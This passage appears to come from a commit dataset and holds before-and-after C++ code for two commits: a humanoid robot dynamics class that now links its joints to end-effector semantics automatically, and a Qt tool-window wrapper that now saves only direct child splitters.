&aFileNameForHumanoidSpecificities)\n{\n  string aHumanoidName=\"HRP2JRL\";\n  m_HS = new HumanoidSpecificities();\n\n  if (m_HS!=0)\n    {\n      m_HS->ReadXML(aFileNameForHumanoidSpecificities,aHumanoidName);\n\t\n      double AnklePosition[3];\n      \/\/ Take the right ankle position (should be equivalent)\n      m_HS->GetAnklePosition(-1,AnklePosition);\n      m_AnkleSoilDistance = AnklePosition[2];\n      ODEBUG(\"AnkleSoilDistance =\" << m_AnkleSoilDistance);\n\n      \/\/ Lenght of the hip (necessary for \n      double HipLength[3];\n      \/\/ Takes the left one.\n      m_HS->GetHipLength(1,HipLength);\n\n      ODEBUG(WaistToHip[0] << \" \"\n\t      << WaistToHip[1] << \" \"\n\t      << WaistToHip[2] << \" \");\n      m_Dt(0) = HipLength[0];\n      m_Dt(1) = HipLength[1];\n      m_Dt(2) = HipLength[2];\n\n      MAL_S3_VECTOR(StaticToTheLeftHip,double);\n      MAL_S3_VECTOR(StaticToTheRightHip,double);\n      \n      \/\/ Displacement between the hip and the waist.\n      double WaistToHip[3];\n      m_HS->GetWaistToHip(1,WaistToHip);\n      m_StaticToTheLeftHip(0) = WaistToHip[0];\n      m_StaticToTheLeftHip(1) = WaistToHip[1];\n      m_StaticToTheLeftHip(2) = WaistToHip[2]; \n\n      m_TranslationToTheLeftHip = m_StaticToTheLeftHip;\n      \n      m_HS->GetWaistToHip(-1,WaistToHip);\n      m_StaticToTheRightHip(0) = WaistToHip[0];\n      m_StaticToTheRightHip(1) = WaistToHip[1];\n      m_StaticToTheRightHip(2) = WaistToHip[2];\n      m_TranslationToTheRightHip = m_StaticToTheRightHip;      \n      \n    }\n  else\n    {\n      cerr << \"Warning: No appropriate definition of Humanoid Specifities\" << endl;\n      cerr << \"Use default value: \" << 0.1 << endl;\n      m_AnkleSoilDistance = 0.1;\n\n      \/\/ Displacement between the hip and the waist.\n      m_Dt(0) = 0.0;\n      m_Dt(1) = 0.04;\n      m_Dt(2) = 0.0;\n\n    }\n  \n}\n\nHumanoidDynamicMultiBody::~HumanoidDynamicMultiBody()\n{\n  if (m_HS!=0)\n    delete m_HS;\n}\n\nvoid HumanoidDynamicMultiBody::LinkBetweenJointsAndEndEffectorSemantic()\n{\n  if (m_HS==0)\n    return;\n\n  \/\/ Link the correct joints.\n  \n  \/\/ Get the left hand.\n  std::vector<int> JointForOneLimb = m_HS->GetArmJoints(1);\n  int ListeJointsSize = JointForOneLimb.size();\n  int EndIndex = JointForOneLimb[ListeJointsSize-1];\n  DynamicMultiBody *m_SDMB = dynamic_cast<DynamicMultiBody *>(m_DMB);\n  if (m_DMB!=0)\n    m_LeftHandJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n  \n  \/\/ Get the right hand.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetArmJoints(-1);\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  if (m_DMB!=0)\n    m_RightHandJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n  \n  \n  \/\/ Get the left foot.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetFootJoints(1);\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  ODEBUG(\"Joints for the left foot:\" << EndIndex);\n  if (m_DMB!=0)\n    m_LeftFootJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n  \n  \/\/ Get the right foot.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetFootJoints(-1);\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  ODEBUG(\"Joints for the right foot:\" << EndIndex);\n  if (m_DMB!=0)\n    m_RightFootJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n\n  \n  \/\/ Get the gaze joint (head) of the humanoid.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetHeadJoints();\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  if (m_DMB!=0)\n    m_GazeJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n\n  \/\/ Get the waist joint of the humanoid.\n  std::vector<int> JointsForWaist = m_HS->GetWaistJoints();\n  if (JointsForWaist.size()==1)\n    m_WaistJoint = m_SDMB->GetJointFromVRMLID(JointsForWaist[0]);\n  \n  \n}\n\nvoid HumanoidDynamicMultiBody::GetJointIDInConfigurationFromVRMLID(std::vector<int> &aVector)\n{\n  DynamicMultiBody *a_SDMB = dynamic_cast<DynamicMultiBody *>(m_DMB);\n  if (a_SDMB!=0)\n    a_SDMB->GetJointIDInConfigurationFromVRMLID(aVector);\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::zeroMomentumPoint() const\n{\n\n  return m_ZeroMomentumPoint;\n}\n\nvoid HumanoidDynamicMultiBody::ComputingZeroMomentumPoint()\n{\n  DynamicMultiBody * aDMB = (DynamicMultiBody *)m_DMB;\n  m_ZeroMomentumPoint = aDMB->getZMP();\n}\n\n\/* Methods related to the fixed joints *\/\n\nvoid HumanoidDynamicMultiBody::addFixedJoint(CjrlJoint *inFixedJoint)\n{\n  m_VectorOfFixedJoints.insert(m_VectorOfFixedJoints.end(),inFixedJoint);\n}\n\nunsigned int HumanoidDynamicMultiBody::countFixedJoints() const\n{\n  return m_VectorOfFixedJoints.size();\n}\n\nvoid HumanoidDynamicMultiBody::removeFixedJoint(CjrlJoint * inFixedJoint)\n{\n  std::vector<CjrlJoint *>::iterator it_Joint = m_VectorOfFixedJoints.begin();\n  while((*it_Joint!= inFixedJoint) &&\n\t(it_Joint!=m_VectorOfFixedJoints.end()))\n    it_Joint++;\n\n  if (it_Joint!=m_VectorOfFixedJoints.end())\n    m_VectorOfFixedJoints.erase(it_Joint);\n\n}\n\nvoid HumanoidDynamicMultiBody::clearFixedJoints()\n{\n    m_VectorOfFixedJoints.clear();\n}\n\nconst CjrlJoint& HumanoidDynamicMultiBody::fixedJoint(unsigned int inJointRank) const\n{\n  if ((inJointRank>0) & (inJointRank<=m_VectorOfFixedJoints.size()))\n      return *m_VectorOfFixedJoints[inJointRank];\n}\n\/* End of Methods related to the fixed joints *\/\n\n\n\/***************************************************\/\n\/* Implementation of the proxy design pattern for  *\/\n\/* the part inherited from jrlDynamicRobot.        *\/\n\/***************************************************\/\n\nvoid HumanoidDynamicMultiBody::rootJoint(CjrlJoint &inJoint)\n{\n  if (m_DMB!=0)\n    m_DMB->rootJoint(inJoint);\n}\n\nCjrlJoint *HumanoidDynamicMultiBody::rootJoint() const\n{\n  if (m_DMB==0)\n    return 0;\n  return m_DMB->rootJoint();\n}\n\nstd::vector< CjrlJoint* > HumanoidDynamicMultiBody::jointVector()\n{  \n  return  m_DMB->jointVector();\n}\n\nunsigned int HumanoidDynamicMultiBody::numberDof() const\n{\n  return m_DMB->numberDof();\n}\n\nbool HumanoidDynamicMultiBody::currentConfiguration(const MAL_VECTOR(,double) & inConfig)\n{\n  return m_DMB->currentConfiguration(inConfig);\n}\n\nconst MAL_VECTOR(,double) & HumanoidDynamicMultiBody::currentConfiguration() const\n{\n  return m_DMB->currentConfiguration();\n}\n\nbool HumanoidDynamicMultiBody::currentVelocity(const MAL_VECTOR(,double) & inVelocity) \n{\n  return m_DMB->currentVelocity(inVelocity);\n}\n\nconst MAL_VECTOR(,double) & HumanoidDynamicMultiBody::currentVelocity()  const\n{\n  return m_DMB->currentVelocity();\n}\n\nbool HumanoidDynamicMultiBody::currentAcceleration(const MAL_VECTOR(,double) & inAcceleration)\n{\n  return m_DMB->currentAcceleration(inAcceleration);\n}\n\nconst MAL_VECTOR(,double) & HumanoidDynamicMultiBody::currentAcceleration() const\n{\n  return m_DMB->currentAcceleration();\n}\n\nbool HumanoidDynamicMultiBody::computeForwardKinematics()\n{\n  bool r;\n  r= m_DMB->computeForwardKinematics();\n  ComputingZeroMomentumPoint();\n  return r;\n\n}\n\nbool HumanoidDynamicMultiBody::computeCenterOfMassDynamics()\n{\n  return m_DMB->computeCenterOfMassDynamics();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::positionCenterOfMass()\n{\n  return m_DMB->positionCenterOfMass();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::velocityCenterOfMass()\n{\n  return m_DMB->velocityCenterOfMass();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::accelerationCenterOfMass()\n{\n  return m_DMB->accelerationCenterOfMass();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::linearMomentumRobot()\n{\n  return m_DMB->linearMomentumRobot();\n  \n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::derivativeLinearMomentum()\n{\n  return m_DMB->derivativeLinearMomentum();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::angularMomentumRobot()\n{\n  return m_DMB->angularMomentumRobot();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::derivativeAngularMomentum()\n{\n  return m_DMB->derivativeAngularMomentum();\n}\n\nvoid HumanoidDynamicMultiBody::computeJacobianCenterOfMass()\n{\n  return m_DMB->computeJacobianCenterOfMass();\n}\n\nconst MAL_MATRIX(,double) & HumanoidDynamicMultiBody::jacobianCenterOfMass() const\n{\n  return m_DMB->jacobianCenterOfMass();\n}\n\nbool HumanoidDynamicMultiBody::jacobianJointWrtFixedJoint(CjrlJoint* inJoint, \n\t\t\t\t\t\t\t  MAL_MATRIX(,double) & outJacobian)\n{\n  cerr<< \" The method HumanoidDynamicMultiBody::jacobianJointWrtFixedJoint \" <<endl\n      << \" is not implemented yet. \" << endl;\n  return true;\n}\n\ndouble HumanoidDynamicMultiBody::footHeight() const\n{\n  cerr<< \" The method HumanoidDynamicMultiBody::footHeight() \" <<endl\n      << \" is not implemented yet. \" << endl;\n  \n  return -1.0;\n}\n\n\nvoid HumanoidDynamicMultiBody::waist(CjrlJoint * inWaist)\n{\n  \/\/ This method is ineffective regarding the internals.\n}\n\nCjrlJoint* HumanoidDynamicMultiBody::waist()\n{\n  return m_WaistJoint;\n}\n\n\/***************************************************\/\n\/* End of the implementation                       *\/\n\/***************************************************\/\n<commit_msg>OS: Creates  automatically the link between the semantic read by HumanoidSpecificties \tand the joints of the robot.<commit_after>#include <DynamicMultiBody.h>\n#include <HumanoidDynamicMultiBody.h>\n\n#if 0\n#define RESETDEBUG4(y) { ofstream DebugFile; DebugFile.open(y,ofstream::out); DebugFile.close();}\n#define ODEBUG4(x,y) { ofstream DebugFile; DebugFile.open(y,ofstream::app); DebugFile << \"HumanoidDynamicMultiBody: \" << x << endl; DebugFile.close();}\n#else\n#define RESETDEBUG4(y) \n#define ODEBUG4(x,y) \n#endif\n\n#define RESETDEBUG6(y) \n#define ODEBUG6(x,y) \n\n#define RESETDEBUG5(y) { ofstream DebugFile; DebugFile.open(y,ofstream::out); DebugFile.close();}\n#define ODEBUG5(x,y) { ofstream DebugFile; DebugFile.open(y,ofstream::app); DebugFile << \"HumanoidDynamicMultiBody: \" << x << endl; DebugFile.close();}\n#if 1\n#define ODEBUG(x)\n#else\n#define ODEBUG(x)  std::cout << x << endl;\n#endif\n\n#define ODEBUG3(x)  std::cout << x << endl;\n\nusing namespace dynamicsJRLJapan;\n\n\nHumanoidDynamicMultiBody::HumanoidDynamicMultiBody()\n{\n\n  string aFileName = \"HumanoidSpecificities.xml\";\n  DynamicMultiBody *aDMB = new DynamicMultiBody();\n  m_DMB = aDMB;\n}\n\nHumanoidDynamicMultiBody::HumanoidDynamicMultiBody(CjrlDynamicRobot* aDMB,\n\t\t\t\t\t\t   string aFileNameForHumanoidSpecificities)\n{\n  m_DMB = aDMB;\n  SetHumanoidSpecificitiesFile(aFileNameForHumanoidSpecificities);\n}\n\nvoid HumanoidDynamicMultiBody::SetHumanoidSpecificitiesFile(string &aFileNameForHumanoidSpecificities)\n{\n  string aHumanoidName=\"HRP2JRL\";\n  m_HS = new HumanoidSpecificities();\n\n  if (m_HS!=0)\n    {\n      m_HS->ReadXML(aFileNameForHumanoidSpecificities,aHumanoidName);\n\t\n      double AnklePosition[3];\n      \/\/ Take the right ankle position (should be equivalent)\n      m_HS->GetAnklePosition(-1,AnklePosition);\n      m_AnkleSoilDistance = AnklePosition[2];\n      ODEBUG(\"AnkleSoilDistance =\" << m_AnkleSoilDistance);\n\n      \/\/ Lenght of the hip (necessary for \n      double HipLength[3];\n      \/\/ Takes the left one.\n      m_HS->GetHipLength(1,HipLength);\n\n      ODEBUG(WaistToHip[0] << \" \"\n\t      << WaistToHip[1] << \" \"\n\t      << WaistToHip[2] << \" \");\n      m_Dt(0) = HipLength[0];\n      m_Dt(1) = HipLength[1];\n      m_Dt(2) = HipLength[2];\n\n      MAL_S3_VECTOR(StaticToTheLeftHip,double);\n      MAL_S3_VECTOR(StaticToTheRightHip,double);\n      \n      \/\/ Displacement between the hip and the waist.\n      double WaistToHip[3];\n      m_HS->GetWaistToHip(1,WaistToHip);\n      m_StaticToTheLeftHip(0) = WaistToHip[0];\n      m_StaticToTheLeftHip(1) = WaistToHip[1];\n      m_StaticToTheLeftHip(2) = WaistToHip[2]; \n\n      m_TranslationToTheLeftHip = m_StaticToTheLeftHip;\n      \n      m_HS->GetWaistToHip(-1,WaistToHip);\n      m_StaticToTheRightHip(0) = WaistToHip[0];\n      m_StaticToTheRightHip(1) = WaistToHip[1];\n      m_StaticToTheRightHip(2) = WaistToHip[2];\n      m_TranslationToTheRightHip = m_StaticToTheRightHip;      \n      \n\n      \/\/ If the Dynamic Multibody object is already loaded\n      \/\/ create the link between the joints and the effector semantic.\n      if (m_DMB->numberDof()!=0)\n\tLinkBetweenJointsAndEndEffectorSemantic();\n    }\n  else\n    {\n      cerr << \"Warning: No appropriate definition of Humanoid Specifities\" << endl;\n      cerr << \"Use default value: \" << 0.1 << endl;\n      m_AnkleSoilDistance = 0.1;\n\n      \/\/ Displacement between the hip and the waist.\n      m_Dt(0) = 0.0;\n      m_Dt(1) = 0.04;\n      m_Dt(2) = 0.0;\n\n    }\n  \n}\n\nHumanoidDynamicMultiBody::~HumanoidDynamicMultiBody()\n{\n  if (m_HS!=0)\n    delete m_HS;\n}\n\nvoid HumanoidDynamicMultiBody::LinkBetweenJointsAndEndEffectorSemantic()\n{\n  if (m_HS==0)\n    return;\n\n  \/\/ Link the correct joints.\n  \n  \/\/ Get the left hand.\n  std::vector<int> JointForOneLimb = m_HS->GetArmJoints(1);\n  int ListeJointsSize = JointForOneLimb.size();\n  int EndIndex = JointForOneLimb[ListeJointsSize-1];\n  DynamicMultiBody *m_SDMB = dynamic_cast<DynamicMultiBody *>(m_DMB);\n  if (m_DMB!=0)\n    m_LeftHandJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n  \n  \/\/ Get the right hand.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetArmJoints(-1);\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  if (m_SDMB!=0)\n    m_RightHandJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n  \n  \n  \/\/ Get the left foot.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetFootJoints(1);\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  ODEBUG(\"Joints for the left foot:\" << EndIndex);\n  if (m_SDMB!=0)\n    m_LeftFootJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n  \n  \/\/ Get the right foot.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetFootJoints(-1);\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  ODEBUG(\"Joints for the right foot:\" << EndIndex);\n  if (m_SDMB!=0)\n    m_RightFootJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n\n  \n  \/\/ Get the gaze joint (head) of the humanoid.\n  JointForOneLimb.clear();\n  JointForOneLimb = m_HS->GetHeadJoints();\n  ListeJointsSize = JointForOneLimb.size();\n  EndIndex = JointForOneLimb[ListeJointsSize-1];\n  if (m_SDMB!=0)\n    m_GazeJoint = m_SDMB->GetJointFromVRMLID(EndIndex);\n\n  \/\/ Get the waist joint of the humanoid.\n  std::vector<int> JointsForWaist = m_HS->GetWaistJoints();\n  if (JointsForWaist.size()==1)\n    m_WaistJoint = m_SDMB->GetJointFromVRMLID(JointsForWaist[0]);\n  \n  \n}\n\nvoid HumanoidDynamicMultiBody::GetJointIDInConfigurationFromVRMLID(std::vector<int> &aVector)\n{\n  DynamicMultiBody *a_SDMB = dynamic_cast<DynamicMultiBody *>(m_DMB);\n  if (a_SDMB!=0)\n    a_SDMB->GetJointIDInConfigurationFromVRMLID(aVector);\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::zeroMomentumPoint() const\n{\n\n  return m_ZeroMomentumPoint;\n}\n\nvoid HumanoidDynamicMultiBody::ComputingZeroMomentumPoint()\n{\n  DynamicMultiBody * aDMB = (DynamicMultiBody *)m_DMB;\n  m_ZeroMomentumPoint = aDMB->getZMP();\n}\n\n\/* Methods related to the fixed joints *\/\n\nvoid HumanoidDynamicMultiBody::addFixedJoint(CjrlJoint *inFixedJoint)\n{\n  m_VectorOfFixedJoints.insert(m_VectorOfFixedJoints.end(),inFixedJoint);\n}\n\nunsigned int HumanoidDynamicMultiBody::countFixedJoints() const\n{\n  return m_VectorOfFixedJoints.size();\n}\n\nvoid HumanoidDynamicMultiBody::removeFixedJoint(CjrlJoint * inFixedJoint)\n{\n  std::vector<CjrlJoint *>::iterator it_Joint = m_VectorOfFixedJoints.begin();\n  while((*it_Joint!= inFixedJoint) &&\n\t(it_Joint!=m_VectorOfFixedJoints.end()))\n    it_Joint++;\n\n  if (it_Joint!=m_VectorOfFixedJoints.end())\n    m_VectorOfFixedJoints.erase(it_Joint);\n\n}\n\nvoid HumanoidDynamicMultiBody::clearFixedJoints()\n{\n    m_VectorOfFixedJoints.clear();\n}\n\nconst CjrlJoint& HumanoidDynamicMultiBody::fixedJoint(unsigned int inJointRank) const\n{\n  if ((inJointRank>0) & (inJointRank<=m_VectorOfFixedJoints.size()))\n      return *m_VectorOfFixedJoints[inJointRank];\n}\n\/* End of Methods related to the fixed joints *\/\n\n\n\/***************************************************\/\n\/* Implementation of the proxy design pattern for  *\/\n\/* the part inherited from jrlDynamicRobot.        *\/\n\/***************************************************\/\n\nvoid HumanoidDynamicMultiBody::rootJoint(CjrlJoint &inJoint)\n{\n  if (m_DMB!=0)\n    m_DMB->rootJoint(inJoint);\n}\n\nCjrlJoint *HumanoidDynamicMultiBody::rootJoint() const\n{\n  if (m_DMB==0)\n    return 0;\n  return m_DMB->rootJoint();\n}\n\nstd::vector< CjrlJoint* > HumanoidDynamicMultiBody::jointVector()\n{  \n  return  m_DMB->jointVector();\n}\n\nunsigned int HumanoidDynamicMultiBody::numberDof() const\n{\n  return m_DMB->numberDof();\n}\n\nbool HumanoidDynamicMultiBody::currentConfiguration(const MAL_VECTOR(,double) & inConfig)\n{\n  return m_DMB->currentConfiguration(inConfig);\n}\n\nconst MAL_VECTOR(,double) & HumanoidDynamicMultiBody::currentConfiguration() const\n{\n  return m_DMB->currentConfiguration();\n}\n\nbool HumanoidDynamicMultiBody::currentVelocity(const MAL_VECTOR(,double) & inVelocity) \n{\n  return m_DMB->currentVelocity(inVelocity);\n}\n\nconst MAL_VECTOR(,double) & HumanoidDynamicMultiBody::currentVelocity()  const\n{\n  return m_DMB->currentVelocity();\n}\n\nbool HumanoidDynamicMultiBody::currentAcceleration(const MAL_VECTOR(,double) & inAcceleration)\n{\n  return m_DMB->currentAcceleration(inAcceleration);\n}\n\nconst MAL_VECTOR(,double) & HumanoidDynamicMultiBody::currentAcceleration() const\n{\n  return m_DMB->currentAcceleration();\n}\n\nbool HumanoidDynamicMultiBody::computeForwardKinematics()\n{\n  bool r;\n  r= m_DMB->computeForwardKinematics();\n  ComputingZeroMomentumPoint();\n  return r;\n\n}\n\nbool HumanoidDynamicMultiBody::computeCenterOfMassDynamics()\n{\n  return m_DMB->computeCenterOfMassDynamics();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::positionCenterOfMass()\n{\n  return m_DMB->positionCenterOfMass();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::velocityCenterOfMass()\n{\n  return m_DMB->velocityCenterOfMass();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::accelerationCenterOfMass()\n{\n  return m_DMB->accelerationCenterOfMass();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::linearMomentumRobot()\n{\n  return m_DMB->linearMomentumRobot();\n  \n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::derivativeLinearMomentum()\n{\n  return m_DMB->derivativeLinearMomentum();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::angularMomentumRobot()\n{\n  return m_DMB->angularMomentumRobot();\n}\n\nconst MAL_S3_VECTOR(,double) & HumanoidDynamicMultiBody::derivativeAngularMomentum()\n{\n  return m_DMB->derivativeAngularMomentum();\n}\n\nvoid HumanoidDynamicMultiBody::computeJacobianCenterOfMass()\n{\n  return m_DMB->computeJacobianCenterOfMass();\n}\n\nconst MAL_MATRIX(,double) & HumanoidDynamicMultiBody::jacobianCenterOfMass() const\n{\n  return m_DMB->jacobianCenterOfMass();\n}\n\nbool HumanoidDynamicMultiBody::jacobianJointWrtFixedJoint(CjrlJoint* inJoint, \n\t\t\t\t\t\t\t  MAL_MATRIX(,double) & outJacobian)\n{\n  cerr<< \" The method HumanoidDynamicMultiBody::jacobianJointWrtFixedJoint \" <<endl\n      << \" is not implemented yet. \" << endl;\n  return true;\n}\n\ndouble HumanoidDynamicMultiBody::footHeight() const\n{\n  cerr<< \" The method HumanoidDynamicMultiBody::footHeight() \" <<endl\n      << \" is not implemented yet. \" << endl;\n  \n  return -1.0;\n}\n\n\nvoid HumanoidDynamicMultiBody::waist(CjrlJoint * inWaist)\n{\n  \/\/ This method is ineffective regarding the internals.\n}\n\nCjrlJoint* HumanoidDynamicMultiBody::waist()\n{\n  return m_WaistJoint;\n}\n\n\/***************************************************\/\n\/* End of the implementation                       *\/\n\/***************************************************\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Pavel Strakhov\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *\/\n#include \"ToolWindowManagerWrapper.h\"\n#include \"ToolWindowManager.h\"\n#include \"ToolWindowManagerArea.h\"\n#include <QVBoxLayout>\n#include <QDragEnterEvent>\n#include <QMimeData>\n#include <QDebug>\n#include <QApplication>\n\nToolWindowManagerWrapper::ToolWindowManagerWrapper(ToolWindowManager *manager) :\n  QWidget(manager)\n, m_manager(manager)\n{\n  setWindowFlags(windowFlags() | Qt::Tool);\n  setWindowTitle(\" \");\n\n  QVBoxLayout* mainLayout = new QVBoxLayout(this);\n  mainLayout->setContentsMargins(0, 0, 0, 0);\n  m_manager->m_wrappers << this;\n}\n\nToolWindowManagerWrapper::~ToolWindowManagerWrapper() {\n  m_manager->m_wrappers.removeOne(this);\n}\n\nvoid ToolWindowManagerWrapper::closeEvent(QCloseEvent *) {\n  QList<QWidget*> toolWindows;\n  foreach(ToolWindowManagerArea* tabWidget, findChildren<ToolWindowManagerArea*>()) {\n    toolWindows << tabWidget->toolWindows();\n  }\n  m_manager->moveToolWindows(toolWindows, ToolWindowManager::NoArea);\n}\n\nQVariantMap ToolWindowManagerWrapper::saveState() {\n  if (layout()->count() > 1) {\n    qWarning(\"too many children for wrapper\");\n    return QVariantMap();\n  }\n  if (isWindow() && layout()->count() == 0) {\n    qWarning(\"empty top level wrapper\");\n    return QVariantMap();\n  }\n  QVariantMap result;\n  result[\"geometry\"] = saveGeometry();\n  QSplitter* splitter = findChild<QSplitter*>();\n  if (splitter) {\n    result[\"splitter\"] = m_manager->saveSplitterState(splitter);\n  } else {\n    ToolWindowManagerArea* area = findChild<ToolWindowManagerArea*>();\n    if (area) {\n      result[\"area\"] = area->saveState();\n    } else if (layout()->count() > 0) {\n      qWarning(\"unknown child\");\n      return QVariantMap();\n    }\n  }\n  return result;\n}\n\nvoid ToolWindowManagerWrapper::restoreState(const QVariantMap &data) {\n  restoreGeometry(data[\"geometry\"].toByteArray());\n  if (layout()->count() > 0) {\n    qWarning(\"wrapper is not empty\");\n    return;\n  }\n  if (data.contains(\"splitter\")) {\n    layout()->addWidget(m_manager->restoreSplitterState(data[\"splitter\"].toMap()));\n  } else if (data.contains(\"area\")) {\n    ToolWindowManagerArea* area = m_manager->createArea();\n    area->restoreState(data[\"area\"].toMap());\n    layout()->addWidget(area);\n  }\n}\n<commit_msg>Only save direct child splitters in a wrapper<commit_after>\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Pavel Strakhov\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *\/\n#include \"ToolWindowManagerWrapper.h\"\n#include \"ToolWindowManager.h\"\n#include \"ToolWindowManagerArea.h\"\n#include <QVBoxLayout>\n#include <QDragEnterEvent>\n#include <QMimeData>\n#include <QDebug>\n#include <QApplication>\n\nToolWindowManagerWrapper::ToolWindowManagerWrapper(ToolWindowManager *manager) :\n  QWidget(manager)\n, m_manager(manager)\n{\n  setWindowFlags(windowFlags() | Qt::Tool);\n  setWindowTitle(\" \");\n\n  QVBoxLayout* mainLayout = new QVBoxLayout(this);\n  mainLayout->setContentsMargins(0, 0, 0, 0);\n  m_manager->m_wrappers << this;\n}\n\nToolWindowManagerWrapper::~ToolWindowManagerWrapper() {\n  m_manager->m_wrappers.removeOne(this);\n}\n\nvoid ToolWindowManagerWrapper::closeEvent(QCloseEvent *) {\n  QList<QWidget*> toolWindows;\n  foreach(ToolWindowManagerArea* tabWidget, findChildren<ToolWindowManagerArea*>()) {\n    toolWindows << tabWidget->toolWindows();\n  }\n  m_manager->moveToolWindows(toolWindows, ToolWindowManager::NoArea);\n}\n\nQVariantMap ToolWindowManagerWrapper::saveState() {\n  if (layout()->count() > 1) {\n    qWarning(\"too many children for wrapper\");\n    return QVariantMap();\n  }\n  if (isWindow() && layout()->count() == 0) {\n    qWarning(\"empty top level wrapper\");\n    return QVariantMap();\n  }\n  QVariantMap result;\n  result[\"geometry\"] = saveGeometry();\n  QSplitter* splitter = findChild<QSplitter*>(QString(), Qt::FindDirectChildrenOnly);\n  if (splitter) {\n    result[\"splitter\"] = m_manager->saveSplitterState(splitter);\n  } else {\n    ToolWindowManagerArea* area = findChild<ToolWindowManagerArea*>();\n    if (area) {\n      result[\"area\"] = area->saveState();\n    } else if (layout()->count() > 0) {\n      qWarning(\"unknown child\");\n      return QVariantMap();\n    }\n  }\n  return result;\n}\n\nvoid ToolWindowManagerWrapper::restoreState(const QVariantMap &data) {\n  restoreGeometry(data[\"geometry\"].toByteArray());\n  if (layout()->count() > 0) {\n    qWarning(\"wrapper is not empty\");\n    return;\n  }\n  if (data.contains(\"splitter\")) {\n    layout()->addWidget(m_manager->restoreSplitterState(data[\"splitter\"].toMap()));\n  } else if (data.contains(\"area\")) {\n    ToolWindowManagerArea* area = m_manager->createArea();\n    area->restoreState(data[\"area\"].toMap());\n    layout()->addWidget(area);\n  }\n}\n<|endoftext|>"}
